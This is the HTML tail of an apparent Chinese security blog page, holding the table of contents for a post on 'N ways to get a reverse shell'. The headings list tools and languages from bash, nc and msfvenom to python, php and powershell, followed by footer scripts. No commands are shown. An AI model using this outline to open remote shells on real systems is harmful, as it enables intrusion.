              <div class="post-toc-content"><ol class="nav"><li class="nav-item nav-level-1"><a class="nav-link" href="#4-2-反弹shell的N种姿势"><span class="nav-number">1.</span> <span class="nav-text">4.2 反弹shell的N种姿势</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#前言"><span class="nav-number">1.1.</span> <span class="nav-text">前言</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#bash"><span class="nav-number">1.2.</span> <span class="nav-text">bash</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#方法2"><span class="nav-number">1.2.1.</span> <span class="nav-text">方法2</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#方法3"><span class="nav-number">1.2.2.</span> <span class="nav-text">方法3</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#nc"><span class="nav-number">1.3.</span> <span class="nav-text">nc</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#msfvenom"><span class="nav-number">1.4.</span> <span class="nav-text">msfvenom</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#sshd"><span class="nav-number">1.5.</span> <span class="nav-text">sshd</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#socat版"><span class="nav-number">1.5.1.</span> <span class="nav-text">socat版</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#awk"><span class="nav-number">1.6.</span> <span class="nav-text">awk</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#telnet"><span class="nav-number">1.7.</span> <span class="nav-text">telnet</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#第一种"><span class="nav-number">1.7.1.</span> <span class="nav-text">第一种</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#第二种"><span class="nav-number">1.7.2.</span> <span class="nav-text">第二种</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#各类语言"><span class="nav-number">1.8.</span> <span class="nav-text">各类语言</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#perl"><span class="nav-number">1.8.1.</span> <span class="nav-text">perl</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#python"><span class="nav-number">1.8.2.</span> <span class="nav-text">python</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#crontab"><span class="nav-number">1.8.3.</span> <span class="nav-text">crontab</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#php"><span class="nav-number">1.8.4.</span> <span class="nav-text">php</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#ruby"><span class="nav-number">1.8.5.</span> <span class="nav-text">ruby</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#lua"><span class="nav-number">1.8.6.</span> <span class="nav-text">lua</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#协议"><span class="nav-number">1.9.</span> <span class="nav-text">协议</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#icmp"><span class="nav-number">1.9.1.</span> <span class="nav-text">icmp</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#udp"><span class="nav-number">1.9.2.</span> <span class="nav-text">udp</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#powershell"><span class="nav-number">1.10.</span> <span class="nav-text">powershell</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#基础链接"><span class="nav-number">1.11.</span> <span class="nav-text">基础链接</span></a></li></ol></li></ol></div>
            

          </div>
        </section>
      <!--/noindex-->
      

      

    </div>
  </aside>


        
      </div>
    </main>

    <footer id="footer" class="footer">
      <div class="footer-inner">
        <div class="copyright">&copy; 2014 – <span itemprop="copyrightYear">2020</span>
  <span class="with-love" id="animate">
    <i class="fa fa-user"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">冷逸</span>

  

  
</div>




  <div class="powered-by">Erstellt mit  <a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a> v3.7.1</div>



  <span class="post-meta-divider">|</span>



  <div class="theme-info">Theme – <a class="theme-link" target="_blank" href="https://theme-next.org">NexT.Muse</a> v6.4.0</div>






        
<div class="busuanzi-count">
  <script async src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>

  
    <span class="site-uv" title="Total Visitors">
      <i class="fa fa-user"></i>
      <span class="busuanzi-value" id="busuanzi_value_site_uv"></span>
    </span>
  

  
    <span class="site-pv" title="Total Views">
      <i class="fa fa-eye"></i>
      <span class="busuanzi-value" id="busuanzi_value_site_pv"></span>
    </span>
  
</div>









        
      </div>
    </footer>

    
      <div class="back-to-top">
        <i class="fa fa-arrow-up"></i>
        
      </div>
    

    
	
    

    
  </div>

  

<script type="text/javascript">
  if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
    window.Promise = null;
  }
</script>














  







  
  







  
  
    <script type="text/javascript" src="//cdn.jsdelivr.net/jquery/2.1.3/jquery.min.js"></script>
  

  
  
    <script type="text/javascript" src="//cdn.jsdelivr.net/velocity/1.2.3/velocity.min.js"></script>
  

  
  
    <script type="text/javascript" src="//cdn.jsdelivr.net/velocity/1.2.3/velocity.ui.min.js"></script>
  

  
  
    <script type="text/javascript" src="//cdn.bootcss.com/canvas-nest.js/1.0.1/canvas-nest.min.js"></script>
  

  
  
    <script type="text/javascript" src="/lib/three/three.min.js"></script>
  

  
  
    <script type="text/javascript" src="/lib/three/canvas_sphere.min.js"></script>
  


  


  <script type="text/javascript" src="/js/src/utils.js?v=6.4.0"></script>

  <script type="text/javascript" src="/js/src/motion.js?v=6.4.0"></script>



  
  

  
  <script type="text/javascript" src="/js/src/scrollspy.js?v=6.4.0"></script>
<script type="text/javascript" src="/js/src/post-details.js?v=6.4.0"></script>



  


  <script type="text/javascript" src="/js/src/bootstrap.js?v=6.4.0"></script>



  



  










  





  

  

  

  

  
  

  

  

  

  

  

<script src="/live2dw/lib/L2Dwidget.min.js?0c58a1486de42ac6cc1c59c7d98ae887"></script><script>L2Dwidget.init({"log":false,"pluginJsPath":"lib/","pluginModelPath":"assets/","pluginRootPath":"live2dw/","tagMode":false});</script></body>
</html>
<script type="text/javascript" src="/js/src/love.js"></script>
